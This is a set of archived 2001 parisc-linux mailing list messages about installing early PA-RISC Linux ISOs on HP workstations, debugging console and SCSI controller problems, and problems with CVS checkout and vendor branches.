For 0.9.1 it sounds like you picked up one of the broken versions
of the ISO.  A new image was posted yesterday, so if you downloaded
before that, please try again.

0.9 didn't work on 715/75 anyway, but I would not have expected your
particular error.

I have never booted my 715/75 from CD; I've always booted it from
the network.  The README on the CD should explain (briefly) how to
do that.

Richard





From - Thu Nov 08 21:18:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Problem installing .9 iso image on C240
Date: Tue, 10 Jul 2001 14:31:51 +0100
Lines: 39
Approved: news@gmane.org
Message-ID: <20010710143151.D23509@linuxcare.com>
References: <20010709220547.W23509@linuxcare.com> <20010710040536.41333.qmail@web11203.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620282 21913 80.91.229.3 (22 Nov 2014 01:38:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Charles Boone <ccboone@yahoo.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 10 07:33:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id F2DE2482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 10 Jul 2001 07:33:12 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 819F0B00C; Tue, 10 Jul 2001 14:31:51 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010710040536.41333.qmail@web11203.mail.yahoo.com>; from ccboone@yahoo.com on Mon, Jul 09, 2001 at 09:05:36PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:11557

On Mon, Jul 09, 2001 at 09:05:36PM -0700, Charles Boone wrote:
> I got the .9.1 release, it only wants to boot the
> 32bit version.  so I  tried running the install both
> with compatibility and without.
....
....
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI                 
>                          
> PSW: 00000000000011001111111100001110                 
>                          
> r0-3     00000000 10335810 101fc9ec ffffffff          
> r4-7     1fe02060 0000000e 00000000 10336010          
> r8-11    0000004e 0000004d 0004000e 102c0f14
> r12-15   00000000 ffffffff 000000fd f0100000     
> r16-19   10300580 f000020c f0000204 0000ff40     
> r20-23   1fe02060 0000ff40 101fc9b0 0000000e     
> r24-27   0000ff40 f2000064 c1b21ec0 1028a010     
> r28-31   1fe03aa0 000001c0 10300a00 1010d2c8
> sr0-3    00000000 000006e2 00000000 00000000
> sr4-7    00000000 00000000 00000000 00000000
>  					     
> IASQ: 00000000 00000000 IAOQ: 101fc2e8 101fc9ec
>  IIR: 081a025c    ISR: 9227ffc8  IOR: 00000064
>  ORIG_R28: 00000000

IAOQ = _gsc_readl + 8
called from dino_in32()
I guess it was dino_in32(0xc1b21ec0), which looks odd.

Don't know why it should fail like that in the middle of the
install.  Is it repeatable?


Richard






From - Thu Nov 08 21:18:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sti console problem
Date: Tue, 10 Jul 2001 14:37:49 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <20010710143749.E23509@linuxcare.com>
References: <01070916084706.01035@flambe.ireste.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620283 21914 80.91.229.3 (22 Nov 2014 01:38:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthieu Le Corre <matthieu.lecorre@polytech.univ-nantes.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 10 07:39:46 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id A2565482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 10 Jul 2001 07:39:46 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 1C0DFB00C; Tue, 10 Jul 2001 14:37:49 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <01070916084706.01035@flambe.ireste.fr>; from matthieu.lecorre@polytech.univ-nantes.fr on Mon, Jul 09, 2001 at 04:09:02PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:11558

On Mon, Jul 09, 2001 at 04:09:02PM +0200, Matthieu Le Corre wrote:
> i got a 735 appollo series ,with 0.9 iso installed 
> i've installed sti kernel all work execpt that i get an 'unable to open 
> initial console " all right seems to be good
> don't undestand why it failed ,
> need help !!!

>From <http://mkhppa1.esiee.fr/list.html> it appears that STI console
has not been tested on 735.  Can you try a serial console install?

When you say "all work" do you mean the installer ran and let you
install the system?  At which point did you get "unable to open
initial console"?  During the initial boot from CD, during the
reboot in to the second stage install, or after that, when booting
in to the installed system?


Richard





From - Thu Nov 08 21:18:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: awyatt@intergate.cx
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sti console problem
Date: Tue, 10 Jul 2001 08:55:42 -0500
Lines: 48
Approved: news@gmane.org
Message-ID: <20010710135602.A36BC482B@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620283 21915 80.91.229.3 (22 Nov 2014 01:38:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:03 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 10 07:56:03 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from postman (postman.fament.com [208.189.26.50])
	by dsl2.external.hp.com (Postfix) with SMTP id A36BC482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 10 Jul 2001 07:56:02 -0600 (MDT)
Original-Received: from  postman.fament.com (208.189.26.50) by POSTMAN (MailMax 4. 7. 0. 0) with ESMTP id 33430904 for parisc-linux@lists.parisc-linux.org; Tue, 10 Jul 2001 08:55:43 -0500 CDT
Original-Received: FROM postman BY postman.fament.com ; Tue Jul 10 08:55:42 2001 -0500
X-Mailer: Mailmax Webmail
Xref: news.gmane.org gmane.linux.ports.parisc:11559

Is the Fast Wide controller on the 735 supported yet? I attempted to 
install .9 and it seemed to find a controller, and error out then it 
did not find any of my drives .. (I did have a CDROM and a 1GB drive 
on the narrow controller, but I have 10GB that I'd like to use also 
heh)

Andrew

> Original Message from Tue, 10 Jul 2001 14:37:49  0100:> 
> On Mon, Jul 09, 2001 at 04:09:02PM  0200, Matthieu Le Corre wrote:
> > i got a 735 appollo series ,with 0.9 iso installed 
> > i've installed sti kernel all work execpt that i get an 'unable 
to open 
> > initial console " all right seems to be good
> > don't undestand why it failed ,
> > need help !!!
> 
> From  it appears that STI console
> has not been tested on 735.  Can you try a serial console install?
> 
> When you say "all work" do you mean the installer ran and let you
> install the system?  At which point did you get "unable to open
> initial console"?  During the initial boot from CD, during the
> reboot in to the second stage install, or after that, when booting
> in to the installed system?
> 
> 
> Richard
> 
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> 
> 
> 

_______________________________________________________________________________
This E-Mail was sent with MailMax/WEB.
http://www.smartmax.com







From - Thu Nov 08 21:18:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthieu Le Corre <matthieu.lecorre@polytech.univ-nantes.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sti console problem
Date: Tue, 10 Jul 2001 16:06:11 +0200
Organization: Ecole Polytechnique de =?iso8859-1?q?l'Universit=E9=20de?= Nantes
Lines: 50
Approved: news@gmane.org
Message-ID: <01071016061106.03565@flambe.ireste.fr>
References: <01070916084706.01035@flambe.ireste.fr> <20010710143749.E23509@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620283 21919 80.91.229.3 (22 Nov 2014 01:38:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:03 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 10 08:00:01 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.ireste.fr (mail.ireste.fr [193.52.81.37])
	by dsl2.external.hp.com (Postfix) with ESMTP id 359DA482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 10 Jul 2001 08:00:00 -0600 (MDT)
Original-Received: from flambe.ireste.fr (flambe [193.52.81.109])
          by mail.ireste.fr (8.9.1a/jtpda-5.3.1) with SMTP id QAA07051
          for <parisc-linux@lists.parisc-linux.org>; Tue, 10 Jul 2001 16:02:07 +0200 (MET DST)
X-Mailer: KMail [version 1.2]
In-Reply-To: <20010710143749.E23509@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11560

in fact i've installed the 0.9 iso from the serial console
first and second stage are correct !
it boot correctly , but,
at the end of booting process ,
in sti console i get an "unable to open initial" console...
and then a login appears in serial console !
in fact all boot message appears un sti console execpt the boot prompt !
I have check inittab and /dev/tty* files , they seems ok ! i don't understand 



Le Mardi 10 Juillet 2001 15:37, vous avez crit :
> On Mon, Jul 09, 2001 at 04:09:02PM +0200, Matthieu Le Corre wrote:
> > i got a 735 appollo series ,with 0.9 iso installed
> > i've installed sti kernel all work execpt that i get an 'unable to open
> > initial console " all right seems to be good
> > don't undestand why it failed ,
> > need help !!!
>
> From <http://mkhppa1.esiee.fr/list.html> it appears that STI console
> has not been tested on 735.  Can you try a serial console install?
>
> When you say "all work" do you mean the installer ran and let you
> install the system?  At which point did you get "unable to open
> initial console"?  During the initial boot from CD, during the
> reboot in to the second stage install, or after that, when booting
> in to the installed system?
>
>
> Richard
>
>
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux

-- 
_______________________________________

                      Matthieu Le Corre 
                    Service informatique
 Ecole Polytechnique de l'Universit de Nantes
     Matthieu.Lecorre@polytech.univ-nantes.fr
                        02.40.68.32.23
_______________________________________




From - Thu Nov 08 21:18:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthieu Le Corre <matthieu.lecorre@polytech.univ-nantes.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sti console problem
Date: Tue, 10 Jul 2001 16:14:32 +0200
Organization: Ecole Polytechnique de =?iso8859-1?q?l'Universit=E9=20de?= Nantes
Lines: 88
Approved: news@gmane.org
Message-ID: <01071016143209.03565@flambe.ireste.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620283 21921 80.91.229.3 (22 Nov 2014 01:38:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:03 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 10 08:08:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.ireste.fr (mail.ireste.fr [193.52.81.37])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1C10D482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 10 Jul 2001 08:08:23 -0600 (MDT)
Original-Received: from flambe.ireste.fr (flambe [193.52.81.109])
          by mail.ireste.fr (8.9.1a/jtpda-5.3.1) with SMTP id QAA07281
          for <parisc-linux@lists.parisc-linux.org>; Tue, 10 Jul 2001 16:10:28 +0200 (MET DST)
X-Mailer: KMail [version 1.2]
Xref: news.gmane.org gmane.linux.ports.parisc:11561


----------  Message transmis  ----------
Subject: Re: [parisc-linux] sti console problem
Date: Tue, 10 Jul 2001 16:09:28 +0200
From: Matthieu Le Corre <matthieu.lecorre@polytech.univ-nantes.fr>
To: awyatt@intergate.cx


the Fast Wide controller on the 735 is noy suppoerted yet .... :(
i install .9 in a external narrow drive ...

Le Mardi 10 Juillet 2001 15:55, vous avez crit :
> Is the Fast Wide controller on the 735 supported yet? I attempted to
> install .9 and it seemed to find a controller, and error out then it
> did not find any of my drives .. (I did have a CDROM and a 1GB drive
> on the narrow controller, but I have 10GB that I'd like to use also
> heh)
>
> Andrew
>
> > Original Message from Tue, 10 Jul 2001 14:37:49  0100:>
> >
> > On Mon, Jul 09, 2001 at 04:09:02PM  0200, Matthieu Le Corre wrote:
> > > i got a 735 appollo series ,with 0.9 iso installed
> > > i've installed sti kernel all work execpt that i get an 'unable
>
> to open
>
> > > initial console " all right seems to be good
> > > don't undestand why it failed ,
> > > need help !!!
> >
> > From  it appears that STI console
> > has not been tested on 735.  Can you try a serial console install?
> >
> > When you say "all work" do you mean the installer ran and let you
> > install the system?  At which point did you get "unable to open
> > initial console"?  During the initial boot from CD, during the
> > reboot in to the second stage install, or after that, when booting
> > in to the installed system?
> >
> >
> > Richard
> >
> >
> >
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
>
> ___________________________________________________________________________
>____ This E-Mail was sent with MailMax/WEB.
> http://www.smartmax.com
>
>
>
>
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux

--
_______________________________________

                      Matthieu Le Corre
                    Service informatique
 Ecole Polytechnique de l'Universit de Nantes
     Matthieu.Lecorre@polytech.univ-nantes.fr
                        02.40.68.32.23
_______________________________________

-------------------------------------------------------

-- 
_______________________________________

                      Matthieu Le Corre 
                    Service informatique
 Ecole Polytechnique de l'Universit de Nantes
     Matthieu.Lecorre@polytech.univ-nantes.fr
                        02.40.68.32.23
_______________________________________




From - Thu Nov 08 21:18:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Charles Boone <ccboone@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Problem installing .9 iso image on C240
Date: Tue, 10 Jul 2001 07:23:53 -0700 (PDT)
Lines: 66
Approved: news@gmane.org
Message-ID: <20010710142353.5757.qmail@web11207.mail.yahoo.com>
References: <20010710143151.D23509@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620284 21927 80.91.229.3 (22 Nov 2014 01:38:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 10 08:23:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web11207.mail.yahoo.com (web11207.mail.yahoo.com [216.136.131.189])
	by dsl2.external.hp.com (Postfix) with SMTP id C0F58482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 10 Jul 2001 08:23:54 -0600 (MDT)
Original-Received: from [207.242.215.33] by web11207.mail.yahoo.com via HTTP; Tue, 10 Jul 2001 07:23:53 PDT
In-Reply-To: <20010710143151.D23509@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11562

Richard,

Yes, I can repeat it everytime I try to install, same
as with the .9 version.  I do have one question, why
would it not try to install the 64bit version? I was
pretty sure that a C240 is a 64bit system.

I am assuming that this is not a problem reading the
cdrom, I think that I can try another cdrom.

Thanks,
Charles
--- Richard Hirst <rhirst@linuxcare.com> wrote:
> On Mon, Jul 09, 2001 at 09:05:36PM -0700, Charles
> Boone wrote:
> > I got the .9.1 release, it only wants to boot the
> > 32bit version.  so I  tried running the install
> both
> > with compatibility and without.
> ....
> ....
> >      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI             
>    
> >                          
> > PSW: 00000000000011001111111100001110             
>    
> >                          
> > r0-3     00000000 10335810 101fc9ec ffffffff      
>    
> > r4-7     1fe02060 0000000e 00000000 10336010      
>    
> > r8-11    0000004e 0000004d 0004000e 102c0f14
> > r12-15   00000000 ffffffff 000000fd f0100000     
> > r16-19   10300580 f000020c f0000204 0000ff40     
> > r20-23   1fe02060 0000ff40 101fc9b0 0000000e     
> > r24-27   0000ff40 f2000064 c1b21ec0 1028a010     
> > r28-31   1fe03aa0 000001c0 10300a00 1010d2c8
> > sr0-3    00000000 000006e2 00000000 00000000
> > sr4-7    00000000 00000000 00000000 00000000
> >  					     
> > IASQ: 00000000 00000000 IAOQ: 101fc2e8 101fc9ec
> >  IIR: 081a025c    ISR: 9227ffc8  IOR: 00000064
> >  ORIG_R28: 00000000
> 
> IAOQ = _gsc_readl + 8
> called from dino_in32()
> I guess it was dino_in32(0xc1b21ec0), which looks
> odd.
> 
> Don't know why it should fail like that in the
> middle of the
> install.  Is it repeatable?
> 
> 
> Richard
> 
> 


__________________________________________________
Do You Yahoo!?
Get personalized email addresses from Yahoo! Mail
http://personal.mail.yahoo.com/




From - Thu Nov 08 21:18:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sti console problem
Date: Tue, 10 Jul 2001 15:33:54 +0100
Lines: 10
Approved: news@gmane.org
Message-ID: <20010710153354.F23509@linuxcare.com>
References: <20010710135602.A36BC482B@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620284 21930 80.91.229.3 (22 Nov 2014 01:38:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: awyatt@intergate.cx
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 10 08:35:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 93A19482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 10 Jul 2001 08:35:09 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 96781B00C; Tue, 10 Jul 2001 15:33:54 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010710135602.A36BC482B@dsl2.external.hp.com>; from awyatt@intergate.cx on Tue, Jul 10, 2001 at 08:55:42AM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:11563

On Tue, Jul 10, 2001 at 08:55:42AM -0500, awyatt@intergate.cx wrote:
> Is the Fast Wide controller on the 735 supported yet? I attempted to 

No, sorry

Richard





From - Thu Nov 08 21:18:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sti console problem
Date: Tue, 10 Jul 2001 15:45:49 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <20010710154549.G23509@linuxcare.com>
References: <01070916084706.01035@flambe.ireste.fr> <20010710143749.E23509@linuxcare.com> <01071016061106.03565@flambe.ireste.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620284 21934 80.91.229.3 (22 Nov 2014 01:38:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthieu Le Corre <matthieu.lecorre@polytech.univ-nantes.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 10 08:47:02 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0483B482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 10 Jul 2001 08:47:02 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 1FD69B00C; Tue, 10 Jul 2001 15:45:49 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <01071016061106.03565@flambe.ireste.fr>; from matthieu.lecorre@polytech.univ-nantes.fr on Tue, Jul 10, 2001 at 04:06:11PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:11564

On Tue, Jul 10, 2001 at 04:06:11PM +0200, Matthieu Le Corre wrote:
> in fact i've installed the 0.9 iso from the serial console
> first and second stage are correct !
> it boot correctly , but,
> at the end of booting process ,
> in sti console i get an "unable to open initial" console...
> and then a login appears in serial console !
> in fact all boot message appears un sti console execpt the boot prompt !
> I have check inittab and /dev/tty* files , they seems ok ! i don't understand 

For 0.9 we had different ISOs for 32 bit STI console and 32 bit
serial console.  It sounds as though you might have booted
the STI ISO, but used a serial console.  You get the login prompt
on the serial console, because that is where inittab starts a
getty.  Sounds like kernel printk output is displayed on the STI
console, sugests you are using the STI kernel.  Not sure about
this though...  Check the kernel boot params; do you have
console=tty0 or console=ttyS0?

You can try the 0.9.1 CD from http://mkhppa1.esiee.fr which should
auto-detect which console you used and route messages appropriately.


Richard
 




From - Thu Nov 08 21:18:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Problem installing .9 iso image on C240
Date: Tue, 10 Jul 2001 16:02:21 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <20010710160221.H23509@linuxcare.com>
References: <20010710143151.D23509@linuxcare.com> <20010710142353.5757.qmail@web11207.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620285 21937 80.91.229.3 (22 Nov 2014 01:38:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Charles Boone <ccboone@yahoo.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 10 09:05:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 431B2482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 10 Jul 2001 09:05:07 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id E6A72B00C; Tue, 10 Jul 2001 16:02:21 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010710142353.5757.qmail@web11207.mail.yahoo.com>; from ccboone@yahoo.com on Tue, Jul 10, 2001 at 07:23:53AM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:11565

On Tue, Jul 10, 2001 at 07:23:53AM -0700, Charles Boone wrote:
> Richard,
> 
> Yes, I can repeat it everytime I try to install, same
> as with the .9 version.  I do have one question, why
> would it not try to install the 64bit version? I was
> pretty sure that a C240 is a 64bit system.

I think C240 will run 32 or 64 bit kernels, but 64 bit kernel isn't
working on it yet.

> I am assuming that this is not a problem reading the
> cdrom, I think that I can try another cdrom.

I agree, it doesn't sound like a corrupt CD to me.  More likely
some kernel problem.  I'll try another install on my c360, but it
worked last time I tried.

Richard





From - Thu Nov 08 21:18:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] CVS rumors
Date: Tue, 10 Jul 2001 09:08:26 -0600
Lines: 68
Approved: news@gmane.org
Message-ID: <E15Jz7i-00028D-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620285 21941 80.91.229.3 (22 Nov 2014 01:38:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:05 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 10 09:08:30 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 87482482B
	for <parisc-linux@parisc-linux.org>; Tue, 10 Jul 2001 09:08:30 -0600 (MDT)
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel1.hp.com (Postfix) with ESMTP id F2397142
	for <parisc-linux@parisc-linux.org>; Tue, 10 Jul 2001 11:08:28 -0400 (EDT)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.3 (PHNE_22672)/8.9.3 SMKit7.01) with ESMTP id JAA29206
	for <parisc-linux@parisc-linux.org>; Tue, 10 Jul 2001 09:08:27 -0600 (MDT)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.22 #1 (Debian))
	id 15Jz7i-00028D-00
	for <parisc-linux@parisc-linux.org>; Tue, 10 Jul 2001 09:08:26 -0600
Xref: news.gmane.org gmane.linux.ports.parisc:11566

I've seen/heard some rumors which I'd like to clarify so we can make
good decisions rather than automatically assuming we need to drop to
assembly language because CVS is totally broken.

Rumors:
    1) date-based CVS checkout is hosed
    2) vendor branches are broken
    3) safe-cvsimport posts all changes to the trunk/head immediately

		date-based CVS checkout is hosed
		--------------------------------

Date-based CVS checkout *of the main branch* is indeed broken in one
(frequent) case and I filed it upstream and have heard nothing.  The test
case I filed has nothing to do with branches, vendor branches, safe-cvsimport,
client/server, nor even 'cvs import'.

This is a problem for us because we should be able to go back
to an older linux tree with this command:

	cvs up -D"some-date" -rHEAD

Currently this causes all the files which came from the initial linux
source import and which have never been changed.... to DISAPPEAR!  How
handy!  One work around is to add a gratuitous 1.2 revision to all those
files whose date is the same as the 1.1 revision -- most easily done by
hacking the RCS files.

BTW the following is ambiguous and probably shouldn't be allowed by CVS
if you have any branches:

	cvs up -D"some-date"

That grabs the files as of "some-date" from whatever arbitrary branch
they happen to be on -- thus you get some mixture of all the branches!

		    vendor branches are broken
		    --------------------------

Vendor branches are a special use of normal branches, and
*according to the CVS design* neither are "broken".  However the way
they are managed, mostly with 'cvs import', causes horrid problems
with certain use models.  The use model which works is that every time
you import from upstream, you immediately merge the upstream changes.
This is because the trunk/head is frequently BROKEN after 'cvs import'
so you *must* merge :-)  Here's why:

If you haven't changed a file on the trunk, and it changes upstream,
cvs import makes that change visible on the trunk immediately.  So for
example let's say you've modified a C file which implements an interface
defined in a header file.  You haven't modified the header file.  The
upstream folks modified the header file (and probably the C file too).
After cvs import your *trunk* has the new header file.  Your compile
will now probably fail.  Worse, this extends to files which were added
or removed upstream -- so the header could *disappear* after the import.
You can make up your own scenarios.

This problem is caused by 'cvs import' and has nothing to do with
CVS branches per se.

